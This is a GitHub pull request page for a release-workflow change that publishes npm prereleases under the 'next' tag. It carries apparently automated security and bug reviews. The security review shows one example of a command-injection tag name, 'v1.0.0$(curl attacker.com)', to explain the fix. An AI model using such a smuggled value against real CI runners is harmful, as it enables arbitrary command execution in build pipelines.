ci: publish prereleases with npm next - #158
Conversation
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
There was a problem hiding this comment.
Security Review
No high-confidence vulnerabilities introduced. This PR is a net security improvement to the release workflow.
Security improvements
| # | Change | Impact |
|---|---|---|
| 1 | Shell injection fix: ${{ github.event.release.tag_name }} no longer interpolated directly in shell — now passed via env: RELEASE_TAG |
High — the old pattern allowed a crafted tag name (e.g. v1.0.0$(curl attacker.com)) to execute arbitrary commands in the release runner |
| 2 | contents: write → contents: read |
Reduced GITHUB_TOKEN blast radius; the workflow only publishes to npm and never writes back to the repo |
| 3 | actions/upload-artifact@v4 → pinned SHA @ea165f8d… |
Prevents action hijacking if the v4 mutable tag is re-pointed |
| 4 | pnpm install --frozen-lockfile |
Ensures reproducible dependency resolution in the release pipeline |
Low-confidence concern
GITHUB_PRERELEASE uses the reserved GITHUB_ prefix (line added in Validate release metadata step).
GitHub Actions reserves all GITHUB_* environment variable names for internal use. The runner may silently override or conflict with user-set GITHUB_* vars in future runner versions. There is no confirmed exploit here — the value github.event.release.prerelease is a boolean and the comparison == "true" is safe — but the naming is non-compliant.
Recommendation: rename to IS_PRERELEASE or GH_RELEASE_PRERELEASE to stay outside the reserved namespace.
Checklist coverage
- Injection (shell, path traversal) — old injection removed; new code uses env vars correctly
- Authn/authz —
id-token: writeretained for npm provenance (correct);contents: writeremoved (correct) - Secrets / token handling —
NODE_AUTH_TOKENflows throughactions/setup-node'sregistry-urlmechanism, not logged or echoed - Dependency / supply-chain — frozen lockfile added; action pinned;
npm install -g npm@latest(pre-existing, not introduced here) remains the only unpinned external fetch - Unsafe deserialization / SSRF / XSS — not applicable to this workflow-only change
Sent by Cursor Automation: Find vulnerabilities
There was a problem hiding this comment.
Cursor Bugbot has reviewed your changes using default effort and found 1 potential issue.
❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.
Reviewed by Cursor Bugbot for commit 4b402c4. Configure here.
| if npm view "@btst/stack@$PKG_VERSION" version >/dev/null 2>&1; then | ||
| echo "@btst/stack@$PKG_VERSION is already published; skipping." | ||
| exit 0 | ||
| fi |
There was a problem hiding this comment.
Skip leaves dist-tag unset
High Severity
When a package version already exists, publish exits early without applying NPM_DIST_TAG. Verify then requires @btst/stack@$NPM_DIST_TAG and @btst/codegen@$NPM_DIST_TAG to resolve to this release’s versions, so an unchanged package (common for independently versioned @btst/codegen) fails the job after a prerelease publish—especially on the first next release.
Additional Locations (2)
Reviewed by Cursor Bugbot for commit 4b402c4. Configure here.




Adds reusable prerelease publishing support to the default-branch release workflow for issue #153.\n\n- detects prereleases from package versions or the GitHub prerelease flag\n- publishes both packages with npm next instead of latest\n- validates the release tag against @btst/stack\n- makes reruns idempotent\n- verifies published versions, integrity metadata, and that latest remains stable\n- pins the artifact action and uses a frozen lockfile\n\nThis workflow-only PR must land on the default branch before publishing v3.0.0-rc.1.
Note
Medium Risk
Changes the npm publish path and dist-tag selection, so a logic error could overwrite
latestor leave packages unpublished. No application or auth code is involved.Overview
Publishes GitHub prereleases (or hyphenated package versions) to npm with the
nextdist-tag instead oflatest, so stablelatestis not overwritten.Release metadata is validated against
@btst/stack’s version. Both packages skip publish if that version already exists. A post-publish check waits for the dist-tag to resolve, asserts integrity metadata, and fails if a prerelease moved@btst/stack@latest. Results are written to the job summary.Also uses
--frozen-lockfile, pinsupload-artifact, and drops unusedcontents: write.Reviewed by Cursor Bugbot for commit 4b402c4. Bugbot is set up for automated code reviews on this repo. Configure here.